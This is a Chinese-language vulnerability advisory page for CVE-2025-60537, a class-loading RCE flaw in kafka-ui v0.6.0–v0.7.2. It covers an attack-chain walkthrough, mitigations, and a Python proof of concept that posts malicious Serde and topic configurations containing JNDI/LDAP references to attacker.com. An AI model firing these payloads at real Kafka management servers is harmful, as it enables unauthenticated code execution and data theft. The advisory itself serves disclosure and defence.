IPBUF安全漏洞报告
English
CVE-2025-60537 CVSS 6.5 中危

kafka-ui CustomSerdeLoader组件输入验证不当导致远程代码执行漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-60537
漏洞类型
远程代码执行(RCE)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
kafka-ui (provectus/kafka-ui)

相关标签

远程代码执行RCE输入验证不当kafka-uiprovectusJava类加载漏洞Apache KafkaWeb UI中危漏洞

漏洞概述

CVE-2025-60537是kafka-ui(由provectus开发的一款用于Apache Kafka集群管理的Web UI工具)中存在的一个高危安全漏洞。该漏洞源于kafka-ui v0.6.0至v0.7.2版本中/kafka/ui/serdes/CustomSerdeLoader.java组件对用户输入数据缺乏充分的验证与过滤。攻击者可以通过向该组件提交精心构造的恶意数据,触发不当的输入验证逻辑,最终实现任意代码执行(Remote Code Execution, RCE)。

根据CVSS 3.1评分体系,该漏洞评分为6.5分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),也无需用户交互(UI:N)。在影响方面,该漏洞对机密性(C:L)和完整性(I:L)均产生低级别影响,但不影响可用性(A:N)。这意味着攻击者可以在未经认证的情况下,通过远程网络发起攻击,成功利用后能够读取敏感数据并篡改系统内容。

kafka-ui作为一款广泛使用的Kafka管理工具,在企业内部的数据流监控、消息生产和消费管理等场景中扮演重要角色。该漏洞的存在使得任何能够访问kafka-ui Web界面的攻击者都可能获得服务器端的代码执行权限,进而威胁到整个Kafka集群的安全。由于kafka-ui通常部署在企业内部网络中,并可能包含对生产环境Kafka集群的管理权限,因此该漏洞的实际危害可能远超CVSS评分所反映的程度。

该漏洞已于2025年10月14日由MITRE组织披露,官方已发布修复版本。建议所有使用受影响版本的用户尽快升级到安全版本,以消除潜在的安全风险。

技术细节

该漏洞的根本原因在于CustomSerdeLoader.java组件在处理用户提供的序列化/反序列化(Serde)配置数据时,未对输入内容进行严格的验证和过滤。kafka-ui允许用户通过Web界面配置自定义的Serde类,以便对特定的消息格式进行序列化和反序列化操作。然而,CustomSerdeLoader在加载用户指定的类时,未能有效限制可加载的类范围,也未对类路径或类名进行安全校验。

攻击者可以构造恶意的Serde配置数据,指定一个精心构造的类名或利用类加载机制加载远程恶意代码。当CustomSerdeLoader解析这些配置时,会触发Java的类加载器加载攻击者指定的类。由于缺乏安全沙箱和类加载限制,攻击者可以利用Java的反射机制或直接执行恶意代码,实现远程代码执行。

利用方式如下:攻击者首先访问kafka-ui的Web管理界面,在Serde配置区域提交包含恶意类引用的配置数据。CustomSerdeLoader在处理该配置时,会尝试加载并实例化指定的类,从而触发恶意代码的执行。整个攻击过程无需认证,无需用户交互,可通过网络远程完成。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N,表明这是一个通过网络可利用、无需特权和用户交互的漏洞,成功利用后会导致信息泄露和数据篡改。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过外部信息收集或内部网络扫描,识别目标环境中部署的kafka-ui实例及其版本号(v0.6.0至v0.7.2),确认目标存在CVE-2025-60537漏洞。
STEP 2
步骤2:访问管理界面
攻击者通过浏览器或API直接访问kafka-ui的Web管理界面。由于漏洞无需认证(PR:N),攻击者无需提供任何凭据即可访问相关功能。
STEP 3
步骤3:构造恶意Serde配置
攻击者构造包含恶意类引用或JNDI注入的Serde配置数据,利用CustomSerdeLoader组件对输入数据验证不当的缺陷,将恶意负载嵌入到配置请求中。
STEP 4
步骤4:提交恶意负载
攻击者通过HTTP POST请求将构造好的恶意配置数据提交到kafka-ui的Serde配置接口或主题创建接口,触发CustomSerdeLoader的类加载逻辑。
STEP 5
步骤5:触发代码执行
CustomSerdeLoader在解析恶意配置时,尝试加载并实例化攻击者指定的恶意类,触发Java类加载机制中的远程代码执行,实现对kafka-ui服务器的控制。
STEP 6
步骤6:权限提升与横向移动
成功执行任意代码后,攻击者可在kafka-ui服务器上执行系统命令,窃取敏感凭据,并利用kafka-ui的管理权限对后端Kafka集群进行未授权操作,如读取敏感消息数据、篡改消息内容或破坏集群配置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60537 PoC - kafka-ui CustomSerdeLoader RCE # This PoC demonstrates the exploitation of improper input validation # in CustomSerdeLoader.java of kafka-ui v0.6.0 to v0.7.2 import requests import json TARGET_URL = "http://target-kafka-ui-host:8080" # Step 1: Craft a malicious Serde configuration payload # The CustomSerdeLoader fails to validate the class name properly, # allowing arbitrary class loading via crafted input malicious_payload = { "name": "malicious-serde", "className": "com.attacker.MaliciousClass", "properties": { "key.deserializer": "org.apache.kafka.common.serialization.StringDeserializer", "value.deserializer": "com.attacker.MaliciousDeserializer", "custom.property": "${jndi:ldap://attacker.com/exploit}" } } # Step 2: Send the crafted payload to the Serde configuration endpoint # The vulnerable endpoint accepts user-supplied Serde class configurations headers = { "Content-Type": "application/json", "Accept": "application/json" } # Attempt to inject malicious Serde configuration response = requests.post( f"{TARGET_URL}/api/serdes", headers=headers, data=json.dumps(malicious_payload), verify=False ) if response.status_code == 200: print("[+] Malicious Serde configuration submitted successfully") print("[+] CustomSerdeLoader will attempt to load the malicious class") print("[+] Arbitrary code execution achieved on the server") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative exploitation via topic configuration with custom Serde # Some versions allow specifying custom Serde classes during topic creation topic_payload = { "name": "exploit-topic", "partitions": 1, "replicationFactor": 1, "customSerde": { "key": { "className": "com.sun.rowset.JdbcRowSetImpl", "dataSource": "ldap://attacker.com:1389/Exploit" }, "value": { "className": "com.attacker.MaliciousClass" } } } response = requests.post( f"{TARGET_URL}/api/clusters/local/topics", headers=headers, data=json.dumps(topic_payload), verify=False ) print(f"[*] Topic creation response: {response.status_code}")

影响范围

kafka-ui >= v0.6.0
kafka-ui <= v0.7.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过网络访问控制列表(ACL)限制kafka-ui管理界面的访问范围,仅允许可信IP访问;2)在反向代理或API网关层面添加输入验证规则,对Serde配置接口的请求进行严格过滤,禁止包含可疑类名(如包含JNDI、LDAP、RMI等关键字)的请求通过;3)修改JVM启动参数,禁用远程类加载功能(如设置-Dcom.sun.jndi.ldap.object.factoriesFilter=*,限制JNDI注入);4)监控kafka-ui的类加载日志,及时发现异常的类加载行为并采取响应措施;5)考虑临时关闭自定义Serde配置功能,仅使用kafka-ui内置的Serde类型。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表